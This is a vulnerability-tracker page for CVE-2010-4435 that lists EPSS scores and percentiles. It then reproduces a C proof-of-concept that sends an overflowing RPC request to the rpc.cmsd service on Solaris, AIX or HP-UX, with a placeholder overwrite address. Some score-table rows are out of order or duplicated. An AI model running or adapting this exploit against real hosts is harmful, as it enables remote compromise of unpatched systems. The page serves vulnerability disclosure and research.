CVE-2010-4435 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	12.57%	–	–
2022-04-03	–	–	12.57%	–	–
2023-02-26	–	–	12.57%	–	–
2023-03-12	–	–	–	95.85%	–
2024-06-02	–	–	–	95.42%	–
2024-12-22	–	–	–	93.61%	–
2025-03-09	–	–	–	92.89%	–
2025-01-19	–	–	–	93.61%	–
2025-03-09	–	–	–	92.89%	–
2025-03-18	–	–	–	–	46.81%
2025-05-01	–	–	–	–	46.81%
2025-05-01	–	–	–	–	46.81,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	9%
2022-04-03	95%
2023-02-26	96%
2023-03-12	99%
2024-06-02	99%
2024-12-22	99%
2025-03-09	99%
2025-01-19	99%
2025-03-09	99%
2025-03-18	97%
2025-05-01	98%
2025-05-01	98%

/* * Rodrigo Rubira Branco (BSDaemon) - <rodrigo *noSPAM* kernelhacking . com> * http://www.kernelhacking.com/rodrigo * http://www.risesecurity.org */ #include <stdlib.h> #include <stdio.h> #include <string.h> #include <unistd.h> #include <rpc/rpc.h> #define CMSD_PROG 100068 #define CMSD_VERS 4 #define CMSD_INSERT 6 #define CMSD_UNKN 10 struct cm_send { char *s1; char *s2; }; struct cm_send2 { char *s1; char *s2; }; struct cm_reply { int i; }; bool_t xdr_cm_send(XDR *xdrs, struct cm_send *objp) { if(!xdr_wrapstring(xdrs, &objp->s1)) return (FALSE); if(!xdr_wrapstring(xdrs, &objp->s2)) return (FALSE); return (TRUE); } bool_t xdr_cm_send2(XDR *xdrs, struct cm_send2 *objp) { if(!xdr_wrapstring(xdrs, &objp->s1)) return (FALSE); if(!xdr_wrapstring(xdrs, &objp->s2)) return (FALSE); return (TRUE); } bool_t xdr_cm_reply(XDR *xdrs, struct cm_reply *objp) { if(!xdr_int(xdrs, &objp->i)) return (FALSE); return (TRUE); } int main(int argc, char *argv[]) { char buf[2048], buf2[256]; long ret, offset; int len, x, y, i; char *hostname, *b; CLIENT *cl; struct cm_send send; struct cm_send2 send2; struct cm_reply reply; struct timeval tm = { 10, 0 }; enum clnt_stat stat; printf("<< rpc.cmsd remote PoC (CVE-2010-4435), tested against Solaris, AIX, HP-UX >>\n"); printf("<< Rodrigo Rubira Branco (BSDaemon) - <rodrigo *noSPAM* kernelhacking.com> >>\n"); printf("<< http://www.kernelhacking.com/rodrigo >>\n"); printf("<< http://www.risesecurity.org >>\n"); if(argc < 2) { printf("Usage: %s [hostname]\n", argv[0]); exit(1); } hostname = argv[1]; memset(buf,0x60,sizeof(buf)-1); memset(buf2,0x44,sizeof(buf2)-1); memcpy(buf+292,"\xaa\xbb\xcc\xdd",4); send.s1 = buf; send.s2 = ""; send2.s1 = buf2; send2.s2 = ""; printf("\nSending CMSD_UNKN to the server ... "); if(!(cl=clnt_create(hostname,CMSD_PROG,CMSD_VERS,"udp"))){ clnt_pcreateerror("\nerror");exit(-1); } stat=clnt_call(cl, CMSD_UNKN, xdr_cm_send, (caddr_t) &send, xdr_cm_reply, (caddr_t) &reply, tm); clnt_destroy(cl); printf("done!\n"); printf("Sending CMSD_INSERT procedure ... "); if(!(cl=clnt_create(hostname,CMSD_PROG,CMSD_VERS,"udp"))){ clnt_pcreateerror("\nerror");exit(-1); } cl->cl_auth = authunix_create("localhost", 0, 0, 0, NULL); stat=clnt_call(cl, CMSD_INSERT, xdr_cm_send2, (caddr_t) &send2, xdr_cm_reply, (caddr_t) &reply, tm); printf("done!\n"); clnt_destroy(cl); }